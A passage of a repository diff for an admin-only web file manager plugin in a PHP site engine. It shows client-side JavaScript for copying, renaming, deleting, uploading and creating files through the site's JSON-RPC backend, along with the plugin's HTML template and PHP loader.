document.getElementById('managerSettingsCut').onclick = function() {
|
||||
managerClipboard("cut", "{{cut}}");
|
||||
};
|
||||
/**
|
||||
* @brief Выполняет операции с буфером (копирование/вставка/вырезание)
|
||||
* @param action действие: copy/cut
|
||||
* @param messageText текст сообщения
|
||||
*/
|
||||
function managerClipboard(action, messageText) {
|
||||
if (managerTableDivFilePath) {
|
||||
let textToCopy = managerTableDivFilePath + '|' + action;
|
||||
navigator.clipboard.writeText(textToCopy).then(() => {
|
||||
document.getElementById('managerSettings').style.visibility = "hidden";
|
||||
}).catch(err => {
|
||||
console.error('Ошибка копирования в буфер:', err);
|
||||
});
|
||||
} else {
|
||||
messageFunction("{{right_click_to_select_file}}");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
let managerSettingsInsertId = document.getElementById('managerSettingsInsert');
|
||||
managerSettingsInsertId.onclick = function() {
|
||||
navigator.clipboard.readText().then(clipboardText => {
|
||||
let [clipboardPath, clipboardAction] = clipboardText.split('|');
|
||||
if (!clipboardPath || !clipboardAction) {
|
||||
messageFunction("{{right_click_to_select_file}}");
|
||||
return;
|
||||
}
|
||||
jsonrpcRequest("checkNameConflict", {
|
||||
name: clipboardPath,
|
||||
currentPath: currentPath
|
||||
}).then(response => {
|
||||
if (response == "true") {
|
||||
messageFunction("{{file_with_same_name_exists}}");
|
||||
} else {
|
||||
jsonrpcRequest("insertClipboard", {
|
||||
managerSettingsInsert: currentPath,
|
||||
clipboardPath: clipboardPath,
|
||||
clipboardAction: clipboardAction
|
||||
}).then(response => {
|
||||
if (response === "true") {
|
||||
messageFunction("{{file_pasted_successfully}}");
|
||||
} else {
|
||||
let errorMessage = response.error ? response.error : "{{file_paste_unknown_error}}";
|
||||
messageFunction("{{error}}: " + errorMessage);
|
||||
}
|
||||
managerData(currentPath);
|
||||
});
|
||||
}
|
||||
});
|
||||
}).catch(err => {
|
||||
console.error('Ошибка чтения из буфера:', err);
|
||||
});
|
||||
};
|
||||
|
||||
let managerSettingsRenameId = document.getElementById('managerSettingsRename');
|
||||
managerSettingsRenameId.onclick = async function() {
|
||||
if (managerTableDivFilePath) {
|
||||
let invalidCharacters = /[\/\\:*?"<>|]/;
|
||||
let managerTableDivFileName = managerTableDivFilePath.split(/[/\\]/).pop();
|
||||
messageQueue.push("{{enter_new_name}}");
|
||||
let title = await messageCreateInput(managerTableDivFileName || '');
|
||||
let isFolder = !/\./.test(managerTableDivFileName);
|
||||
if (title !== null) {
|
||||
if (title && !invalidCharacters.test(title) && (!isFolder || !title.includes('.'))) {
|
||||
messageQueue.push("{{rename_confirm}} " + title + "?");
|
||||
if (await messageCreateQuestion()) {
|
||||
let data = await jsonrpcRequest("checkNameConflict", { name: title, currentPath: currentPath });
|
||||
if (data == "true") {
|
||||
messageFunction("{{file_with_same_name_exists}}");
|
||||
} else {
|
||||
let res = await jsonrpcRequest("renameFile", { managerSettingsRename: managerTableDivFilePath, managerNamePath: title });
|
||||
if (res === "true") {
|
||||
messageFunction("{{rename_success}}");
|
||||
} else {
|
||||
messageFunction("{{rename_error}}");
|
||||
}
|
||||
managerData(currentPath);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
messageFunction("{{invalid_name_error}}");
|
||||
}
|
||||
}
|
||||
} else {
|
||||
messageFunction("{{right_click_to_select_file}}");
|
||||
}
|
||||
};
|
||||
|
||||
let managerSettingsDeleteId = document.getElementById('managerSettingsDelete');
|
||||
managerSettingsDeleteId.onclick = async function() {
|
||||
if (managerTableDivFilePath) {
|
||||
messageQueue.push("{{delete_confirm}}");
|
||||
if (await messageCreateQuestion()) {
|
||||
let response = await jsonrpcRequest("deleteFile", { managerSettingsDelete: managerTableDivFilePath });
|
||||
if (response === "true") {
|
||||
messageFunction("{{delete_success}}");
|
||||
} else {
|
||||
messageFunction("{{delete_error}}");
|
||||
}
|
||||
managerData(currentPath);
|
||||
}
|
||||
} else {
|
||||
messageFunction("{{right_click_to_select_file}}");
|
||||
}
|
||||
};
|
||||
|
||||
document.getElementById('managerSettingsButtonCreateFolder').onclick = async function() {
|
||||
await createManagerItem("папка", "{{enter_new_folder_name}}", "{{invalid_folder_name}}", "{{folder_created_successfully}}");
|
||||
};
|
||||
document.getElementById('managerSettingsButtonCreateFile').onclick = async function() {
|
||||
await createManagerItem("файл", "{{enter_new_file_name}}", "{{invalid_file_name}}", "{{file_created_successfully}}");
|
||||
};
|
||||
|
||||
async function createManagerItem(type, promptMessage, errorMessage, successMessage, nameSuffix = '') {
|
||||
messageQueue.push(promptMessage);
|
||||
let title = await messageCreateInput();
|
||||
if (title !== null) {
|
||||
let invalidCharacters = /[\/\\:*?"<>|]/;
|
||||
let isValidTitle = title && !invalidCharacters.test(title) && !title.startsWith('.') && !title.endsWith('.');
|
||||
if (type === "{{folder}}") {
|
||||
isValidTitle = isValidTitle && !title.includes('.');
|
||||
}
|
||||
if (isValidTitle) {
|
||||
title += nameSuffix;
|
||||
messageQueue.push("{{create}} " + type + " {{with_name}} " + title + "?");
|
||||
if (await messageCreateQuestion()) {
|
||||
let data = await jsonrpcRequest("checkNameConflict", { name: title, currentPath: currentPath });
|
||||
if (data == "true") {
|
||||
messageFunction("{{file_with_same_name_exists}}!");
|
||||
} else {
|
||||
let response = await jsonrpcRequest("createFile", { managerSettingsCreate: title, managerType: type, managerNamePath: currentPath });
|
||||
if (response === "true") {
|
||||
messageFunction(successMessage);
|
||||
} else if (response === "checkItemExists") {
|
||||
messageFunction(type + " {{item_already_exists}}");
|
||||
} else {
|
||||
messageFunction("{{create_error}} " + type + "!");
|
||||
}
|
||||
managerData(currentPath);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
messageFunction(errorMessage);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let managerSettingsPropertiesId = document.getElementById('managerSettingsProperties');
|
||||
managerSettingsPropertiesId.onclick = function() {
|
||||
document.getElementById('managerProperties').style.visibility = 'hidden';
|
||||
if (managerTableDivFilePath) {
|
||||
jsonrpcRequest("getFileProperties", { managerSettingsProperties: managerTableDivFilePath }).then(data => {
|
||||
let managerPropertiesId = document.getElementById('managerProperties');
|
||||
let managerPropertiesDivId = document.getElementById('managerPropertiesDiv');
|
||||
let managerPropertiesTopNameId = document.getElementById('managerPropertiesTopName');
|
||||
let managerPropertiesWindowPropertiesId = document.getElementById('managerPropertiesWindowProperties');
|
||||
let managerPropertiesWindowRightsId = document.getElementById('managerPropertiesWindowRights');
|
||||
|
||||
let tableProperties = document.createElement('table');
|
||||
tableProperties.style.width = "100%";
|
||||
|
||||
data.forEach(item => {
|
||||
let row = document.createElement('tr');
|
||||
let labelCell = document.createElement('td');
|
||||
let valueCell = document.createElement('td');
|
||||
labelCell.className = 'managerPropertiesDivDivs';
|
||||
valueCell.className = 'managerPropertiesDivDivs';
|
||||
labelCell.textContent = item.label;
|
||||
valueCell.textContent = item.value;
|
||||
row.appendChild(labelCell);
|
||||
row.appendChild(valueCell);
|
||||
tableProperties.appendChild(row);
|
||||
});
|
||||
|
||||
let tableRights = document.createElement('div');
|
||||
tableRights.innerHTML = "{{no_rights_yet}}";
|
||||
|
||||
managerPropertiesTopNameId.textContent = "{{properties}} " + data[0].value;
|
||||
managerPropertiesDivId.innerHTML = '';
|
||||
|
||||
managerPropertiesWindowPropertiesId.onclick = function() {
|
||||
managerPropertiesDivId.innerHTML = '';
|
||||
managerPropertiesDivId.appendChild(tableProperties);
|
||||
managerPropertiesWindowPropertiesId.style.backgroundColor = "#f3f3f3";
|
||||
managerPropertiesWindowRightsId.style.backgroundColor = "";
|
||||
};
|
||||
|
||||
managerPropertiesWindowRightsId.onclick = function() {
|
||||
managerPropertiesDivId.innerHTML = '';
|
||||
managerPropertiesDivId.appendChild(tableRights);
|
||||
managerPropertiesWindowPropertiesId.style.backgroundColor = "";
|
||||
managerPropertiesWindowRightsId.style.backgroundColor = "#f3f3f3";
|
||||
};
|
||||
|
||||
managerPropertiesWindowPropertiesId.click();
|
||||
|
||||
if (managerPropertiesId.style.visibility == 'hidden') {
|
||||
managerPropertiesId.style.visibility = 'visible';
|
||||
}
|
||||
|
||||
let managerPropertiesTopCloseId = document.getElementById('managerPropertiesTopClose');
|
||||
let managerPropertiesDivButtonOkId = document.getElementById('managerPropertiesDivButtonOk');
|
||||
let managerPropertiesDivButtonCancelId = document.getElementById('managerPropertiesDivButtonCancel');
|
||||
|
||||
managerPropertiesTopCloseId.onclick = function() {
|
||||
managerPropertiesId.style.visibility = 'hidden';
|
||||
};
|
||||
managerPropertiesDivButtonOkId.onclick = function() {
|
||||
managerPropertiesId.style.visibility = 'hidden';
|
||||
};
|
||||
managerPropertiesDivButtonCancelId.onclick = function() {
|
||||
managerPropertiesId.style.visibility = 'hidden';
|
||||
};
|
||||
});
|
||||
} else {
|
||||
messageFunction("{{right_click_to_select_file}}");
|
||||
}
|
||||
};
|
||||
|
||||
//загрузка файла для менеджера
|
||||
let managerSettingsLoadId = document.getElementById('managerSettingsLoad');
|
||||
managerSettingsLoadId.onclick = function() {
|
||||
let fileInput = document.createElement('input');
|
||||
fileInput.type = 'file';
|
||||
fileInput.addEventListener('change', function() {
|
||||
|
||||
jsonrpcRequest("checkNameConflict", { name: fileInput.files[0].name, currentPath: currentPath }).then(data => {
|
||||
if (data == "true") {
|
||||
messageFunction("{{file_with_same_name_exists}}")
|
||||
} else {
|
||||
const file = fileInput.files[0];
|
||||
const reader = new FileReader();
|
||||
reader.onload = function() {
|
||||
const base64Data = reader.result.split(',')[1];
|
||||
jsonrpcRequest("uploadFile", {
|
||||
fileName: file.name,
|
||||
fileData: base64Data,
|
||||
pathLoad: currentPath
|
||||
}).then(response => {
|
||||
messageFunction("{{file_uploaded_successfully}}")
|
||||
managerData(currentPath)
|
||||
}).catch(() => {
|
||||
messageFunction("{{file_with_same_name_exists}}")
|
||||
})
|
||||
};
|
||||
reader.readAsDataURL(file);
|
||||
}
|
||||
});
|
||||
|
||||
});
|
||||
fileInput.click();
|
||||
};
|
||||
}
|
||||
|
||||
/** @brief Удаляет последний сегмент пути */
|
||||
function removeLastSegment(str) {
|
||||
const segments = str.split('/');
|
||||
if (segments.length > 1) {
|
||||
segments.pop();
|
||||
}
|
||||
return segments.join('/');
|
||||
}
|
||||
|
||||
/** @brief Инициализация окна настроек менеджера */
|
||||
function managerSettings() {
|
||||
let managerDiv = document.getElementById('managerDiv');
|
||||
let managerSettingsDiv = document.getElementById('managerSettings');
|
||||
|
||||
managerDiv.addEventListener('contextmenu', managerSettingsClick);
|
||||
touchLong(managerDiv, managerSettingsClick);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Обрабатывает клик правой кнопкой мыши для показа настроек
|
||||
* @param event событие мыши
|
||||
*/
|
||||
function managerSettingsClick(event) {
|
||||
event.preventDefault();
|
||||
let managerSettingsDiv = document.getElementById('managerSettings');
|
||||
if (!isPhone) {
|
||||
managerSettingsDiv.style.left = `${touchX}px`;
|
||||
managerSettingsDiv.style.top = `${touchY}px`;
|
||||
} else {
|
||||
managerSettingsDiv.style.bottom = '15px';
|
||||
managerSettingsDiv.style.width = 'calc(100vw - 42px)';
|
||||
managerSettingsDiv.style.height = '42px';
|
||||
managerSettingsDiv.style.left = '15px';
|
||||
managerSettingsDiv.style.top = 'auto';
|
||||
managerSettingsDiv.style.boxShadow = 'none';
|
||||
}
|
||||
|
||||
let ids = [
|
||||
'managerSettingsCopy',
|
||||
'managerSettingsCut',
|
||||
'managerSettingsRename',
|
||||
'managerSettingsDelete',
|
||||
'managerSettingsProperties',
|
||||
'managerSettingsLoad',
|
||||
'managerSettingsInsert',
|
||||
'managerSettingsButtonCreateFolder',
|
||||
'managerSettingsButtonCreateFile'
|
||||
];
|
||||
ids.forEach(id => {
|
||||
let el = document.getElementById(id);
|
||||
if (el) {
|
||||
if (el.dataset.oldDisplay === undefined) {
|
||||
el.dataset.oldDisplay = getComputedStyle(el).display;
|
||||
}
|
||||
el.style.display = 'none';
|
||||
}
|
||||
});
|
||||
|
||||
if (event.target.closest('.managerTableDivFile')) {
|
||||
['managerSettingsCopy','managerSettingsCut','managerSettingsRename','managerSettingsDelete','managerSettingsProperties']
|
||||
.forEach(id => {
|
||||
let el = document.getElementById(id);
|
||||
el.style.display = el.dataset.oldDisplay;
|
||||
});
|
||||
} else {
|
||||
document.getElementById('managerSettingsLoad').style.display = document.getElementById('managerSettingsLoad').dataset.oldDisplay;
|
||||
navigator.clipboard.readText().then(text => {
|
||||
if (text) {
|
||||
let parts = text.split('|');
|
||||
if (parts.length === 2 && parts[0].trim() !== '' && parts[1].trim() !== '') {
|
||||
let el = document.getElementById('managerSettingsInsert');
|
||||
el.style.display = el.dataset.oldDisplay;
|
||||
}
|
||||
}
|
||||
}).catch(err => {
|
||||
console.error('Ошибка чтения буфера:', err);
|
||||
});
|
||||
|
||||
|
||||
['managerSettingsButtonCreateFolder','managerSettingsButtonCreateFile']
|
||||
.forEach(id => {
|
||||
let el = document.getElementById(id);
|
||||
el.style.display = el.dataset.oldDisplay;
|
||||
});
|
||||
}
|
||||
|
||||
managerSettingsDiv.style.visibility = 'visible';
|
||||
document.addEventListener('pointerdown', function hideMenu(e) {
|
||||
if (!managerSettingsDiv.contains(e.target)) {
|
||||
managerSettingsDiv.style.visibility = 'hidden';
|
||||
document.removeEventListener('pointerdown', hideMenu);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Обрабатывает контекстное меню пути
|
||||
* @param event событие контекстного меню
|
||||
*/
|
||||
function managerPathContext(event){
|
||||
let targetElement=event.target.closest('[path]')
|
||||
if(targetElement){
|
||||
let pathValue=targetElement.getAttribute('path')
|
||||
managerTableDivFilePath=pathValue
|
||||
}
|
||||
}
|
||||
document.addEventListener('contextmenu',managerPathContext)
|
||||
touchLong(document, managerPathContext)
|
||||
|
||||
/** @brief Сохраняет файл через функцию "Сохранить как" */
|
||||
function saveHow() {
|
||||
let currentPathHow = currentPath;
|
||||
if (currentPathHow.startsWith('/')) {
|
||||
currentPathHow = currentPathHow.slice(1);
|
||||
}
|
||||
if (!currentPathHow.endsWith('/')) {
|
||||
currentPathHow += '/';
|
||||
}
|
||||
window.saveContentIdHow(currentPathHow);
|
||||
}
|
||||
|
||||
/** @brief Открывает выбранную страницу */
|
||||
function openPageBut() {
|
||||
if (openPageButPath != "no/Select") {
|
||||
getPage(openPageButPath);
|
||||
} else {
|
||||
messageFunction('{{select_file_ending_with_page_php}}');
|
||||
}
|
||||
}
|
||||
|
||||
/** @brief Обрабатывает выбор страницы через URL */
|
||||
function propertiesUrlFun() {
|
||||
let saveHowNameValue = document.getElementById('saveHowName').value;
|
||||
if (!saveHowNameValue.includes('.page.php')) return;
|
||||
let newValue = saveHowNameValue.replace(/\.page\.php/, "");
|
||||
let cp = currentPath;
|
||||
if (cp.charAt(0) === "/") {
|
||||
cp = cp.substring(1);
|
||||
}
|
||||
document.getElementById('treePropertiesDivUrlValue').innerHTML = cp + "/" + newValue;
|
||||
window.managerDataAction = "";
|
||||
managerDiv.style.visibility = "hidden";
|
||||
}
|
||||
|
||||
/** @brief Обрабатывает выбор изображения для вставки */
|
||||
function selectImgFormButFun() {
|
||||
var rawPath = document.getElementById('managerPath').textContent;
|
||||
var cleanPath = rawPath.trim().replace(/\s*\/\s*/g, '/').replace(/\s+/g, '');
|
||||
var fileName = document.getElementById('saveHowName').value.trim();
|
||||
var fullPath = cleanPath + fileName;
|
||||
if (fullPath.startsWith('/')) {
|
||||
fullPath = fullPath.slice(1);
|
||||
}
|
||||
var img = document.createElement("img");
|
||||
img.src = fullPath;
|
||||
img.setAttribute("style", "float: left; margin: 10px; width: 250px; border: 0px solid rgb(0, 0, 0); overflow: hidden;");
|
||||
var sel = window.getSelection();
|
||||
if (sel.rangeCount) {
|
||||
var range = sel.getRangeAt(0);
|
||||
range.deleteContents();
|
||||
range.insertNode(img);
|
||||
}
|
||||
window.managerDataAction = "";
|
||||
managerDiv.style.visibility = "hidden";
|
||||
}
|
||||
|
||||
/** @brief Обрабатывает выбор изображения для вставки в форму */
|
||||
function selectImgFormToFormButFun() {
|
||||
var rawPath = document.getElementById('managerPath').textContent;
|
||||
var cleanPath = rawPath.trim().replace(/\s*\/\s*/g, '/').replace(/\s+/g, '');
|
||||
var fileName = document.getElementById('saveHowName').value.trim();
|
||||
var fullPath = cleanPath + fileName;
|
||||
if (fullPath.startsWith('/')) fullPath = fullPath.slice(1);
|
||||
window.pendingImageSrc = fullPath;
|
||||
window.managerDataAction = "";
|
||||
managerDiv.style.visibility = "hidden";
|
||||
}
|
||||
|
||||
if (isPhone) document.getElementById('managerDiv').style.paddingBottom = "150px"
|
||||
if (!isPhone) {
|
||||
document.querySelectorAll('.managerSettingsButtons').forEach(btn=>{
|
||||
btn.style.backgroundColor='rgba(255, 255, 255, 1)'
|
||||
btn.style.borderRadius='5px'
|
||||
btn.style.padding='2px'
|
||||
btn.style.margin='3px'
|
||||
btn.style.cursor='pointer'
|
||||
btn.style.display='block'
|
||||
btn.addEventListener('mouseover',()=>btn.style.color='#787878')
|
||||
btn.addEventListener('mouseout',()=>btn.style.color='')
|
||||
})
|
||||
} else {
|
||||
document.querySelectorAll('.managerSettingsButtons').forEach(btn=>{
|
||||
btn.style.backgroundImage='url(../../img/pict/b_iconslyb.svg)'
|
||||
btn.style.height='42px'
|
||||
btn.style.minWidth='42px'
|
||||
btn.style.setProperty('background-size','calc(1122px* 1.5)','important')
|
||||
btn.style.display='inline-block'
|
||||
btn.style.borderRadius='5px'
|
||||
btn.style.cursor='pointer'
|
||||
btn.style.display='flex'
|
||||
btn.style.flexDirection='column'
|
||||
btn.style.alignItems='center'
|
||||
btn.style.fontSize='10px'
|
||||
btn.style.lineHeight='1'
|
||||
btn.style.justifyContent = 'flex-end'
|
||||
btn.style.top='2px'
|
||||
btn.style.position = 'relative'
|
||||
btn.style.width = 'auto'
|
||||
})
|
||||
let wrap = document.getElementById('managerSettings')
|
||||
wrap.style.display = 'flex'
|
||||
wrap.style.maxWidth = '-webkit-fill-available'
|
||||
wrap.style.overflowX = 'auto'
|
||||
wrap.style.overflowY = 'hidden'
|
||||
wrap.style.justifyContent = 'center'
|
||||
let div = document.getElementById('managerSettingsDiv')
|
||||
div.style.height = '-webkit-fill-available'
|
||||
div.style.display = 'inline-flex'
|
||||
div.style.whiteSpace = 'nowrap'
|
||||
div.style.width = 'max-content'
|
||||
div.style.gap = '7px'
|
||||
div.style.alignItems = 'center'
|
||||
}
|
||||
|
||||
window.managerSettings = managerSettings;
|
||||
window.managerFun = managerFun;
|
||||
window.saveHow = saveHow;
|
||||
window.openPageBut = openPageBut;
|
||||
window.propertiesUrlFun = propertiesUrlFun;
|
||||
window.selectImgFormButFun = selectImgFormButFun;
|
||||
window.selectImgFormToFormButFun = selectImgFormToFormButFun;
|
||||
45
main_plugin/manager/manager.php
Executable file
45
main_plugin/manager/manager.php
Executable file
@@ -0,0 +1,45 @@
|
||||
<?php
|
||||
/**
|
||||
* @file manager.php
|
||||
* @brief Содержит интерфейс для создания, удаления, копирования и редактирования файлов и папок
|
||||
*/
|
||||
?>
|
||||
|
||||
<?php /** @brief Основной контейнер менеджера */ $managerDiv; ?>
|
||||
<div id="managerDiv" style="visibility: hidden; top: 20%; left: 50%; transform: translate(-50%, -20%);">
|
||||
</div>
|
||||
|
||||
<?php /** @brief Контейнер настроек менеджера */ $managerSettings; ?>
|
||||
<div id="managerSettings" style="visibility: hidden; top: 0px; left: 0px;">
|
||||
<div id="managerSettingsDiv">
|
||||
<span id="managerSettingsCopy" class="managerSettingsButtons" style="background-position: -890px -840px;">{{copy}}</span>
|
||||
<span id="managerSettingsCut" class="managerSettingsButtons" style="background-position: -1372px -419px;">{{cut}}</span>
|
||||
<span id="managerSettingsRename" class="managerSettingsButtons" style="background-position: -96px -359px;">{{rename}}</span>
|
||||
<span id="managerSettingsDelete" class="managerSettingsButtons" style="background-position: -654px -1018px;">{{delete}}</span>
|
||||
<span id="managerSettingsProperties" class="managerSettingsButtons" style="background-position: -1195px -1076px;">{{properties}}</span>
|
||||
<span id="managerSettingsLoad" class="managerSettingsButtons" style="background-position: -1059px -2px;">{{upload_file}}</span>
|
||||
<span id="managerSettingsInsert" class="managerSettingsButtons" style="background-position: -1435px -419px;">{{paste}}</span>
|
||||
<span id="managerSettingsButtonCreateFile" class="managerSettingsButtons" style="background-position: -642px -839px;">{{create_file}}</span>
|
||||
<span id="managerSettingsButtonCreateFolder" class="managerSettingsButtons" style="background-position: -1121px -840px;">{{create_folder}}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<?php /** @brief Контейнер свойств выбранного элемента */ $managerProperties; ?>
|
||||
<div id="managerProperties" style="visibility: hidden; top: 20%; left: 50%; transform: translate(-50%, -20%);">
|
||||
<div id="managerPropertiesTop">
|
||||
<span id="managerPropertiesTopName" class="managerPropertiesTop"></span>
|
||||
<span id="managerPropertiesTopClose" class="editib"></span>
|
||||
</div>
|
||||
<div id="managerPropertiesMiddle">
|
||||
<div id="managerPropertiesWindow">
|
||||
<span id="managerPropertiesWindowProperties" class="managerPropertiesWindowDiv">{{properties}}</span>
|
||||
<span id="managerPropertiesWindowRights" class="managerPropertiesWindowDiv">{{rights}}</span>
|
||||
</div>
|
||||
<div id="managerPropertiesDiv">
|
||||
</div>
|
||||
<div id="managerPropertiesDivButtons">
|
||||
<div id="managerPropertiesDivButtonOk" class="managerPropertiesDivButton">{{ok}}</div>
|
||||
<div id="managerPropertiesDivButtonCancel" class="managerPropertiesDivButton">{{cancel}}</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
27
main_plugin/manager/plug.php
Executable file
27
main_plugin/manager/plug.php
Executable file
@@ -0,0 +1,27 @@
|
||||
<?php
|
||||
/**
|
||||
* @file plug.php
|
||||
* @brief Подключает плагин manager для администраторов и выводит HTML с языковыми строками
|
||||
*/
|
||||
|
||||
global $path, $_SESSION, $configAdmins;
|
||||
|
||||
/** @brief Языковой массив для плагина manager */
|
||||
$lang = include $path . 'main_plugin/manager/lang.php';
|
||||
|
||||
/** @brief Текущий язык пользователя, по умолчанию 'en' */
|
||||
$lng = $_SESSION['lng'] ?? 'en';
|
||||
|
||||
if (in_array($_SESSION['username'], $configAdmins, true)) {
|
||||
include_once $path . 'main_plugin/manager/func.manager.php';
|
||||
|
||||
$Html = file_get_contents($path . 'main_plugin/manager/manager.php');
|
||||
foreach ($lang[$lng] as $key => $value) {
|
||||
$Html = str_replace('{{' . $key . '}}', $value, $Html);
|
||||
}
|
||||
echo $Html;
|
||||
|
||||
echo '<link rel="stylesheet" type="text/css" href="/main_plugin/manager/manager.css">';
|
||||
echo '<script type="text/javascript" src="/main_plugin/manager/lang.js.php?lng=' . $lng . '"></script>';
|
||||
}
|
||||
?>
|
||||
Reference in New Issue
Block a user